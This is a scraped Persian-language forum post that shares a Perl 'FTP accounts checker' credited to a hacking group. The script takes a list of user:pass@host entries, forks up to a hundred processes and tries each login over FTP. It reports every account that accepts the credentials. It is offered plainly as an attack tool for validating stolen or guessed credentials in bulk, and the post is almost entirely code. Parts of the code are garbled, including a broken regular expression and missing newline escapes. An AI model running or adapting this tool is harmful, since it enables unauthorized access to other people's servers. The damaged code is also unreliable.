SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

Perl FTP accounts checker

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • Perl FTP accounts checker

    اینم از دوستان رومانی هستش
    [php]#!/usr/bin/perl

    ################################################## ####
    # Coded by Satyr [Cyber Lords Community]
    # http://www.cyberlords.net
    ################################################## ####

    use Socket;
    use IO::Handle;

    $verbose=1;
    $pids=100;
    #5422
    #0371
    open(LIST,@ARGV[0]);
    @list=<LIST>;
    close(LIST);

    $once=0;

    while(1) {
    #9128
    #1683519
    @check_now=@list[$once..$once+$pids];

    for ($i=0;$i<=$pids;$i++) {

    unless(@check_now[$i]) {
    killpidz();
    exit print "Scan is completen";
    }

    if ($pid=fork()) {
    push(@forked,$pid);
    } else {
    ###################MAIN CHECK###########################
    $string=@check_now[$i];
    chomp($string);
    $string=~/([^:]+).+)@(.+)/;
    $ans=check($1,$2,$3);

    if($ans eq 230){
    print "$1 $2 $3 230 - ok!n"
    }
    else{
    $ans="Error connecting." if $ans eq 0;
    print "$1 $2 $3 $ansn" if $verbose eq 1;
    }

    ################################################## #######
    exit;

    }



    }

    $once+=$pids;
    killpidz();
    }

    sub check{
    my ($user,$pass,$host)=@_;
    my $protocol=getprotobyname('tcp');
    my $host=inet_aton($host) or return 0;
    socket(SOCK,AF_INET,SOCK_STREAM,$protocol) or die "socket() failed: $!n";
    my $dest_addr=sockaddr_in(21,$host);
    connect(SOCK,$dest_addr) or return 0;
    SOCK->autoflush(1);
    sysread(SOCK,$data,1024);
    print SOCK "user $usern";
    sysread(SOCK,$data,100);
    print SOCK "pass $passn";
    sysread(SOCK,$data,100);
    return $1 if $data=~/([0-9]{3})/;
    }

    sub killpidz {
    foreach (@forked) {
    chomp;
    waitpid($_,0);
    kill("TERM" => $_)
    }
    undef @forked;
    }[/php]
صبر کنید ..
X